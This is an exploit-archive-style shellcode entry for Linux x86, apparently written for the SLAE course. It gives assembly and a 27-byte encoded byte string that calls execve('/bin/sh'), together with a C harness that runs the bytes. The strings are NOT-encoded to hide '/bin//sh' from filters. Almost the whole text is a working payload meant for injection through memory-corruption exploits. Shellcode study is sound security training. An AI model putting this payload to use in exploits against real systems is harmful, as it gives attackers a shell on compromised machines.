Linux/x86 - execve(/bin/sh) NOT Encoded Shellcode (27 bytes)

/*
; Title     : Execve /bin/sh Shellcode encoded with NOT
; Author    : Nuno Freitas
; Twitter   : @nunof11
; SLAE ID   : SLAE-1112
; Size      : 27 bytes
; Tested on : i686 GNU/Linux
 
section .text
 
global _start
 
_start:
        xor ecx, ecx
    mul ecx
        push ecx
 
    ; instructions to avoid having the strings "nib/" and "hs//" pushed directly
    mov edi, 0x978CD0D0
    mov esi, 0x91969DD0
    not edi
    not esi
 
    push edi
    push esi
 
        mov ebx, esp
        mov al, 0xb
        int 0x80
*/
 
#include <stdio.h>
#include <string.h>
 
unsigned char shellcode[] = \
"\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80";
 
void main()
{
    printf("Shellcode Length:  %d\n", strlen(shellcode));
 
    int (*ret)() = (int(*)())shellcode;
    ret();
}